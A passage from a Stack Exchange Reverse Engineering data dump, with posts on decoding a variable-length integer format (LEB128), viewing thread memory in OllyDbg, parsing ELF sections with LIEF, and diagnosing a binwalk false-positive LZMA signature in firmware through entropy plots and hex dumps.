257],&#xA; [True, '1', '02', '258', 258],&#xA; [True, '2', '02', '259', 259],&#xA; [True, '73', '03', '500', 500],&#xA; [True, '74', '03', '501', 501],&#xA; [True, '75', '03', '502', 502],&#xA; [True, '76', '03', '503', 503],&#xA; [True, '0', '04', '513', 513]]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code doing the calculation above is not too pretty, so here's a short python function that does the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def calc(first_byte, second_byte):&#xA;    value = 1&#xA;    value += first_byte &amp;amp; 0x7F&#xA;    msb = bool(first_byte &amp;gt;&amp;gt; 7)&#xA;    if msb:&#xA;        value += second_byte * 128&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another way to look at it, which might be more intuitive, is that the second byte is a continuation of the 7 bits (excluding the MSB) for the first byte.&#xA;Here's a function doing the same calculation based on that approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def calc(first_byte, second_byte):&#xA;    value = 1&#xA;    value += first_byte &amp;amp; 0x7F&#xA;    msb = bool(first_byte &amp;gt;&amp;gt; 7)&#xA;    if msb:&#xA;        value += second_byte &amp;lt;&amp;lt; 7&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're lacking any values having the MSB set on the second byte, but this approach might be sequential, allowing larger ranges using additional bytes by setting the MSBs of all previous bytes.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-04-06T11:35:21.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15113" PostTypeId="1" CreationDate="2017-04-06T12:17:40.503" Score="2" ViewCount="1218" Body="&lt;p&gt;I can't figure out how to see more than the [CPU - main thread, module  ]&#xA;in the CPU window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes when I jump to an address the title changes just to [CPU - main thread]&#xA;and now I can see all of the memory in the program (including the PE header)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For comparison:&#xA;[CPU - main thread]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BbvKT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BbvKT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;[CPU - main thread, module  ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aVUmq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aVUmq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I switch between these two? When I press &quot;view threads&quot; it only shows me one executing thread, when I click it, it shows me the [CPU - main thread, module] which is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strange.&lt;/p&gt;&#xA;" OwnerUserId="19782" LastActivityDate="2017-04-11T06:46:25.203" Title="OllyDbg how to see the main thread (all memory in the cpu)" Tags="|ollydbg|memory|thread|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15114" PostTypeId="2" ParentId="15110" CreationDate="2017-04-06T14:32:14.227" Score="-2" Body="&lt;p&gt;With &lt;a href=&quot;https://lief.quarkslab.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;LIEF&lt;/a&gt; you do it as follow:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import lief&#xA;elf = lief.parse(&quot;my_binary&quot;)&#xA;init_section = elf.get_section(&quot;.init&quot;)&#xA;dynsym_section = elf.get_section(&quot;.dynsym&quot;)&#xA;print(init_section)&#xA;print(dynsym_section)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source code is available here: &lt;a href=&quot;https://github.com/lief-project/LIEF&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/lief-project/LIEF&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19783" LastActivityDate="2017-04-06T14:32:14.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15115" PostTypeId="2" ParentId="15111" CreationDate="2017-04-06T15:56:16.913" Score="2" Body="&lt;p&gt;This looks like the &lt;code&gt;LEB128&lt;/code&gt; encoding. &lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, this is a variable length encoding where the lowest 7 bits of each byte store part of the value and highest bit of each byte is set if it's not the last byte. The successive 7-bit values are stored in little-endian order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, and especially for how signed numbers are handled, see either the &lt;a href=&quot;http://dwarfstd.org/&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;DWARF Debugging Standard&quot;&gt;DWARF Debugging Standard&lt;/a&gt; or the &lt;a href=&quot;https://source.android.com/devices/tech/dalvik/dex-format.html&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;DEX format&quot;&gt;Android DEX file format&lt;/a&gt; documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is similar to the Variable-Length Quantity format used in MIDI files and ASN.1 encoding which uses big-endian ordering.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2017-04-06T15:56:16.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15116" PostTypeId="2" ParentId="15088" CreationDate="2017-04-07T01:27:58.220" Score="19" Body="&lt;p&gt;It's a false positive. There is no LZMA-compressed data in the binary. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;binwalk&lt;/code&gt; without any arguments other than the firmware binary file name is equivalent to running it with the &lt;code&gt;-B&lt;/code&gt; or &lt;code&gt;--signature&lt;/code&gt; arguments, which directs &lt;code&gt;binwalk&lt;/code&gt; to perform a &lt;a href=&quot;https://github.com/devttys0/binwalk/wiki/Signature-File-Format&quot; rel=&quot;noreferrer&quot;&gt;signature scan&lt;/a&gt;. Since a signature scan is essentially search for particular byte sequences, false positives can occur frequently, especially for short sequences. It is therefore important to verify the output of a &lt;code&gt;binwalk&lt;/code&gt; signature scan using a variety of methods to control for the possibility of false positives. Such methods include&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;entropy analysis &lt;/li&gt;&#xA;&lt;li&gt;visualization &lt;/li&gt;&#xA;&lt;li&gt;examining a hex dump of the binary&lt;/li&gt;&#xA;&lt;li&gt;searching the binary for strings&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The signature detected by &lt;code&gt;binwalk&lt;/code&gt; in the question was one of LZMA-compressed data, a compression method to which &lt;a href=&quot;https://github.com/devttys0/binwalk/blob/master/src/binwalk/magic/lzma&quot; rel=&quot;noreferrer&quot;&gt;an entire file is dedicated in the source code&lt;/a&gt; of &lt;code&gt;binwalk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Entropy Analysis&lt;/h2&gt; &#xA;&#xA;&lt;p&gt;The fastest and easiest heuristic to use in making a determination as to whether there really is an LZMA-compressed portion within &lt;code&gt;firmware.bin&lt;/code&gt; is to use &lt;code&gt;binwalk&lt;/code&gt; to perform an entropy scan. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When it comes to compression (as well as other forms of obfuscation, such as packing, encryption, encoding etc.), there are in general 3 possibilities: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The entire binary is compressed&lt;/li&gt;&#xA;&lt;li&gt;Certain areas of the binary are compressed&lt;/li&gt;&#xA;&lt;li&gt;The binary contains no compression&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Compression results in very high &lt;a href=&quot;https://www.random.org/statistics/information-entropy/&quot; rel=&quot;noreferrer&quot;&gt;information entropy&lt;/a&gt; within the compressed region. Compression can therefore be very easily spotted by looking for areas with an entropy level close to 1 in an entropy plot generated by &lt;code&gt;binwalk&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for the examples below the term &quot;obfuscation&quot; is used instead of &quot;compression&quot; because it is often &lt;a href=&quot;http://www.devttys0.com/2014/02/reversing-the-wrt120n-firmware-obfuscation/&quot; rel=&quot;noreferrer&quot;&gt;difficult to accurately differentiate between compression, encryption&lt;/a&gt;, etc just by using entropy analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note also that when analyzing firmware, entropy close to 1 is a strong indicator, not a guarantee, of obfuscation. This is because firmware binaries sometimes contain embedded image files such as JPEGs, which have high entropy. Confounding factors like embedded image files reduce the accuracy of entropy scans in locating regions within the binary that are truly compressed (or obfuscated). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 1&lt;/strong&gt;: The entire binary is obfuscated&#xA;&lt;a href=&quot;https://i.stack.imgur.com/PBgGk.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/PBgGk.png&quot; alt=&quot;Full binary obfuscation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The flat, straight line indicates that the entropy level is very close to 1 throughout the entire binary, indicating that there are no un-obfuscated regions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 2&lt;/strong&gt;: Certain areas of the binary are obfuscated&#xA;&lt;a href=&quot;https://i.stack.imgur.com/EDZOx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EDZOx.png&quot; alt=&quot;Portions of Obfuscation&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this firmware binary there are 2 obfuscated regions: one beginning at offset ~8000 decimal and ending at offset ~10000 decimal, and another extending from offset ~35000 to EOF. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 3:&lt;/strong&gt; The binary contains no obfuscation&#xA;&lt;a href=&quot;https://i.stack.imgur.com/q6rqn.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/q6rqn.png&quot; alt=&quot;No obfuscation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The maximum level of information entropy in this plot is approximately .7, which is inconsistent with obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Entropy plot of &lt;code&gt;firmware.bin&lt;/code&gt;&lt;/strong&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JEIT0.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JEIT0.png&quot; alt=&quot;firmware.bin&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entropy analysis output: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -E firmware.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Falling entropy edge (0.204084)&#xA;54272         0xD400          Falling entropy edge (0.836558)&#xA;62464         0xF400          Falling entropy edge (0.828255)&#xA;124928        0x1E800         Falling entropy edge (0.825872)&#xA;130048        0x1FC00         Falling entropy edge (0.836094)&#xA;422912        0x67400         Rising entropy edge (0.991258)   &amp;lt;---- spike&#xA;424960        0x67C00         Falling entropy edge (0.670723)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is a spike in entropy level at &lt;code&gt;0x67400&lt;/code&gt; that reaches close to 1, but this is at a different location in the binary from the offset at which the LZMA compression signature was detected, &lt;code&gt;0x6EE50&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;454224        0x6EE50         LZMA compressed data, properties: 0x6C, dictionary size: 33554432 bytes, uncompressed size: 3468924096053250820 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This casts doubt on the accuracy of the signature scan output.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Visualization&lt;/h2&gt; &#xA;&#xA;&lt;p&gt;Visualization can used to very quickly get a sense of the layout of a binary. An entropy plot is arguably one type of visualization: since code and data have different entropy levels, an entropy plot can be used to get a sense of the layout of a binary. For example, file headers typically have low entropy, code has fairly high entropy, and ASCII data has an entropy level between the two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Visualization of &lt;code&gt;firmware.bin&lt;/code&gt; using &lt;a href=&quot;http://binvis.io/#/&quot; rel=&quot;noreferrer&quot;&gt;binvis.io&lt;/a&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: blue is ASCII data, pink is entropy close to 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/aTxEy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aTxEy.png&quot; alt=&quot;byteclass 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/lSBsq.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lSBsq.png&quot; alt=&quot;entropy 1&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/uurPQ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uurPQ.png&quot; alt=&quot;byteclass 2&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HEo50.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HEo50.png&quot; alt=&quot;entropy 2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These images reveal something interesting which was not obvious from the entropy plot: there appears to be an obfuscated block of data in the binary within the same region that ASCII data is concentrated. The pictures below are zoomed in on this region:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YL1AZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YL1AZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/eF0TR.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eF0TR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5X2LB.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5X2LB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RlgOu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RlgOu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This possibly obfuscated block is located at the offset of the entropy spike in the plot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9z9Mf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9z9Mf.png&quot; alt=&quot;entropy plot (cropped)&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SxoXF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SxoXF.png&quot; alt=&quot;firmware entropy (rotated)&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This specific region can be more closely scrutinized with &lt;code&gt;hexdump&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Ye Olde Eyeballs + a Hex Dump&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Firmware binaries can be quite large, but often only certain parts will be interesting enough to merit direct inspection. Inspection of regions of a binary using a hex dump can also provide some context for what is going on at particular offsets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of &lt;code&gt;firmware.bin&lt;/code&gt;, the possibly obfuscated block and the region around it can be directly inspected using the the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;hexdump -C -s 422000 -n 4096 firmware.bin | less&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;-s&lt;/code&gt; argument skips the specified number of bytes (in decimal), which is especially useful when working with large files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dump of area around &lt;code&gt;0x67400&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;000672c0  00 00 00 00 00 00 63 6f  6e 6e 65 63 74 69 6e 67  |......connecting|&#xA;000672d0  20 74 6f 20 22 25 73 22  20 66 61 69 6c 65 64 20  | to &quot;%s&quot; failed |&#xA;000672e0  28 25 64 2f 25 64 29 00  45 72 72 6f 72 20 61 74  |(%d/%d).Error at|&#xA;000672f0  3a 20 25 73 2c 20 25 64  0a 00 63 72 79 70 74 6f  |: %s, %d..crypto|&#xA;00067300  2f 73 72 63 2f 77 6d 63  72 79 70 74 6f 5f 6d 65  |/src/wmcrypto_me|&#xA;00067310  6d 2e 63 00 a5 63 63 c6  84 7c 7c f8 99 77 77 ee  |m.c..cc..||..ww.| &amp;lt;- beginning of obfuscated block&#xA;00067320  8d 7b 7b f6 0d f2 f2 ff  bd 6b 6b d6 b1 6f 6f de  |.{{......kk..oo.|&#xA;00067330  54 c5 c5 91 50 30 30 60  03 01 01 02 a9 67 67 ce  |T...P00`.....gg.|&#xA;00067340  7d 2b 2b 56 19 fe fe e7  62 d7 d7 b5 e6 ab ab 4d  |}++V....b......M|&#xA;00067350  9a 76 76 ec 45 ca ca 8f  9d 82 82 1f 40 c9 c9 89  |.vv.E.......@...|&#xA;00067360  87 7d 7d fa 15 fa fa ef  eb 59 59 b2 c9 47 47 8e  |.}}......YY..GG.|&#xA;00067370  0b f0 f0 fb ec ad ad 41  67 d4 d4 b3 fd a2 a2 5f  |.......Ag......_|&#xA;00067380  ea af af 45 bf 9c 9c 23  f7 a4 a4 53 96 72 72 e4  |...E...#...S.rr.|&#xA;00067390  5b c0 c0 9b c2 b7 b7 75  1c fd fd e1 ae 93 93 3d  |[......u.......=|&#xA;000673a0  6a 26 26 4c 5a 36 36 6c  41 3f 3f 7e 02 f7 f7 f5  |j&amp;amp;&amp;amp;LZ66lA??~....|&#xA;000673b0  4f cc cc 83 5c 34 34 68  f4 a5 a5 51 34 e5 e5 d1  |O...\44h...Q4...|&#xA;000673c0  08 f1 f1 f9 93 71 71 e2  73 d8 d8 ab 53 31 31 62  |.....qq.s...S11b|&#xA;000673d0  3f 15 15 2a 0c 04 04 08  52 c7 c7 95 65 23 23 46  |?..*....R...e##F|&#xA;000673e0  5e c3 c3 9d 28 18 18 30  a1 96 96 37 0f 05 05 0a  |^...(..0...7....|&#xA;000673f0  b5 9a 9a 2f 09 07 07 0e  36 12 12 24 9b 80 80 1b  |.../....6..$....|&#xA;00067400  3d e2 e2 df 26 eb eb cd  69 27 27 4e cd b2 b2 7f  |=...&amp;amp;...i''N....| &amp;lt;- offset of rising entropy edge&#xA;00067410  9f 75 75 ea 1b 09 09 12  9e 83 83 1d 74 2c 2c 58  |.uu.........t,,X|&#xA;00067420  2e 1a 1a 34 2d 1b 1b 36  b2 6e 6e dc ee 5a 5a b4  |...4-..6.nn..ZZ.|&#xA;00067430  fb a0 a0 5b f6 52 52 a4  4d 3b 3b 76 61 d6 d6 b7  |...[.RR.M;;va...|&#xA;00067440  ce b3 b3 7d 7b 29 29 52  3e e3 e3 dd 71 2f 2f 5e  |...}{))R&amp;gt;...q//^|&#xA;00067450  97 84 84 13 f5 53 53 a6  68 d1 d1 b9 00 00 00 00  |.....SS.h.......|&#xA;00067460  2c ed ed c1 60 20 20 40  1f fc fc e3 c8 b1 b1 79  |,...`  @.......y|&#xA;00067470  ed 5b 5b b6 be 6a 6a d4  46 cb cb 8d d9 be be 67  |.[[..jj.F......g|&#xA;00067480  4b 39 39 72 de 4a 4a 94  d4 4c 4c 98 e8 58 58 b0  |K99r.JJ..LL..XX.|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like the obfuscated block begins at offset &lt;code&gt;0x67314&lt;/code&gt; rather than at offset &lt;code&gt;0x67400&lt;/code&gt;. The ASCII string directly preceding the beginning of the obfuscation is a pathname for a C source file &lt;code&gt;crypto/src/wmcrypto_mem.c&lt;/code&gt;, that, given the references to &quot;crypto&quot;, indicates encryption functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Dump of region around 0x67C24&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00067b80  b8 b3 45 06 d0 2c 1e 8f  ca 3f 0f 02 c1 af bd 03  |..E..,...?......|&#xA;00067b90  01 13 8a 6b 3a 91 11 41  4f 67 dc ea 97 f2 cf ce  |...k:..AOg......|&#xA;00067ba0  f0 b4 e6 73 96 ac 74 22  e7 ad 35 85 e2 f9 37 e8  |...s..t&quot;..5...7.|&#xA;00067bb0  1c 75 df 6e 47 f1 1a 71  1d 29 c5 89 6f b7 62 0e  |.u.nG..q.)..o.b.|&#xA;00067bc0  aa 18 be 1b fc 56 3e 4b  c6 d2 79 20 9a db c0 fe  |.....V&amp;gt;K..y ....|&#xA;00067bd0  78 cd 5a f4 1f dd a8 33  88 07 c7 31 b1 12 10 59  |x.Z....3...1...Y|&#xA;00067be0  27 80 ec 5f 60 51 7f a9  19 b5 4a 0d 2d e5 7a 9f  |'.._`Q....J.-.z.|&#xA;00067bf0  93 c9 9c ef a0 e0 3b 4d  ae 2a f5 b0 c8 eb bb 3c  |......;M.*.....&amp;lt;|&#xA;00067c00  83 53 99 61 17 2b 04 7e  ba 77 d6 26 e1 69 14 63  |.S.a.+.~.w.&amp;amp;.i.c|&#xA;00067c10  55 21 0c 7d 01 02 04 08  10 20 40 80 1b 36 00 00  |U!.}..... @..6..|&#xA;00067c20  80 00 00 00 0a 3e 3e 3e  3e 3e 3e 3e 3e 3e 3e 3e  |.....&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;| &amp;lt;- end of obfuscated block&#xA;00067c30  3e 3e 3e 3e 3e 3e 0a 00  57 50 41 3a 20 53 65 6e  |&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;..WPA: Sen|&#xA;00067c40  64 69 6e 67 20 45 41 50  4f 4c 2d 4b 65 79 20 32  |ding EAPOL-Key 2|&#xA;00067c50  2f 34 0a 00 57 50 41 3a  20 53 65 6e 64 69 6e 67  |/4..WPA: Sending|&#xA;00067c60  20 45 41 50 4f 4c 2d 4b  65 79 20 34 2f 34 0a 00  | EAPOL-Key 4/4..|&#xA;00067c70  57 50 41 3a 20 49 6e 76  61 6c 69 64 20 45 41 50  |WPA: Invalid EAP|&#xA;00067c80  4f 4c 2d 4b 65 79 20 4d  49 43 20 77 68 65 6e 20  |OL-Key MIC when |&#xA;00067c90  75 73 69 6e 67 20 54 50  54 4b 20 2d 20 69 67 6e  |using TPTK - ign|&#xA;00067ca0  6f 72 69 6e 67 20 54 50  54 4b 00 57 50 41 3a 20  |oring TPTK.WPA: |&#xA;00067cb0  49 6e 76 61 6c 69 64 20  45 41 50 4f 4c 2d 4b 65  |Invalid EAPOL-Ke|&#xA;00067cc0  79 20 4d 49 43 20 2d 20  64 72 6f 70 70 69 6e 67  |y MIC - dropping|&#xA;00067cd0  20 70 61 63 6b 65 74 00  57 50 41 3a 20 43 6f 75  | packet.WPA: Cou|&#xA;00067ce0  6c 64 20 6e 6f 74 20 76  65 72 69 66 79 20 45 41  |ld not verify EA|&#xA;00067cf0  50 4f 4c 2d 4b 65 79 20  4d 49 43 20 2d 20 64 72  |POL-Key MIC - dr|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The ASCII strings following the end of the obfuscated region include references to WPA, and EAPOL keys. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strings surrounding the obfuscated block, which include &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;crypto/src/wmcrypto_mem.c&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;WPA: Sending EAPOL-Key 2/4&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;WPA: Invalid EAPOL-Key MIC when using TPTK - ignoring TPTK&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;WPA: RC4 failed&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;WPA: Unsupported AES-WRAP len %u&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;raise the suspicion that the obfuscated block is related to the device's encryption functions and may itself be encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the obfuscated block itself, it appears to consist of 2 parts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first part contains many pairs of identical bytes, and the second part looks random:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00067650  85 8a 8a 0f 90 70 70 e0  42 3e 3e 7c c4 b5 b5 71  |.....pp.B&amp;gt;&amp;gt;|...q|&#xA;00067660  aa 66 66 cc d8 48 48 90  05 03 03 06 01 f6 f6 f7  |.ff..HH.........|&#xA;00067670  12 0e 0e 1c a3 61 61 c2  5f 35 35 6a f9 57 57 ae  |.....aa._55j.WW.|&#xA;00067680  d0 b9 b9 69 91 86 86 17  58 c1 c1 99 27 1d 1d 3a  |...i....X...'..:|&#xA;00067690  b9 9e 9e 27 38 e1 e1 d9  13 f8 f8 eb b3 98 98 2b  |...'8..........+|&#xA;000676a0  33 11 11 22 bb 69 69 d2  70 d9 d9 a9 89 8e 8e 07  |3..&quot;.ii.p.......|&#xA;000676b0  a7 94 94 33 b6 9b 9b 2d  22 1e 1e 3c 92 87 87 15  |...3...-&quot;..&amp;lt;....|&#xA;000676c0  20 e9 e9 c9 49 ce ce 87  ff 55 55 aa 78 28 28 50  | ...I....UU.x((P|&#xA;000676d0  7a df df a5 8f 8c 8c 03  f8 a1 a1 59 80 89 89 09  |z..........Y....|&#xA;000676e0  17 0d 0d 1a da bf bf 65  31 e6 e6 d7 c6 42 42 84  |.......e1....BB.|&#xA;000676f0  b8 68 68 d0 c3 41 41 82  b0 99 99 29 77 2d 2d 5a  |.hh..AA....)w--Z|&#xA;00067700  11 0f 0f 1e cb b0 b0 7b  fc 54 54 a8 d6 bb bb 6d  |.......{.TT....m| &#xA;00067710  3a 16 16 2c 50 a7 f4 51  53 65 41 7e c3 a4 17 1a  |:..,P..QSeA~....| &amp;lt;- no more pairs after 0x67713&#xA;00067720  96 5e 27 3a cb 6b ab 3b  f1 45 9d 1f ab 58 fa ac  |.^':.k.;.E...X..|&#xA;00067730  93 03 e3 4b 55 fa 30 20  f6 6d 76 ad 91 76 cc 88  |...KU.0 .mv..v..|&#xA;00067740  25 4c 02 f5 fc d7 e5 4f  d7 cb 2a c5 80 44 35 26  |%L.....O..*..D5&amp;amp;|&#xA;00067750  8f a3 62 b5 49 5a b1 de  67 1b ba 25 98 0e ea 45  |..b.IZ..g..%...E|&#xA;00067760  e1 c0 fe 5d 02 75 2f c3  12 f0 4c 81 a3 97 46 8d  |...].u/...L...F.|&#xA;00067770  c6 f9 d3 6b e7 5f 8f 03  95 9c 92 15 eb 7a 6d bf  |...k._.......zm.|&#xA;00067780  da 59 52 95 2d 83 be d4  d3 21 74 58 29 69 e0 49  |.YR.-....!tX)i.I|&#xA;00067790  44 c8 c9 8e 6a 89 c2 75  78 79 8e f4 6b 3e 58 99  |D...j..uxy..k&amp;gt;X.|&#xA;000677a0  dd 71 b9 27 b6 4f e1 be  17 ad 88 f0 66 ac 20 c9  |.q.'.O......f. .|&#xA;000677b0  b4 3a ce 7d 18 4a df 63  82 31 1a e5 60 33 51 97  |.:.}.J.c.1..`3Q.|&#xA;000677c0  45 7f 53 62 e0 77 64 b1  84 ae 6b bb 1c a0 81 fe  |E.Sb.wd...k.....|&#xA;000677d0  94 2b 08 f9 58 68 48 70  19 fd 45 8f 87 6c de 94  |.+..XhHp..E..l..|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Inspecting the region of the binary around offset &lt;code&gt;0x6EE50&lt;/code&gt; could potentially shed some light on why &lt;code&gt;binwalk&lt;/code&gt; is incorrectly detecting an LZMA compression signature:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0006ee38  65 6c 2d 77 6c 61 6e 2d  78 78 78 00 02 04 0b 16  |el-wlan-xxx.....|&#xA;0006ee48  00 0c 12 18 24 30 48 60  6c 00 00 00 02 04 0b 0c  |....$0H`l.......| &amp;lt;- 0x6EE50&#xA;0006ee58  12 16 18 24 30 48 60 6c  00 00 00 00 0c 12 18 24  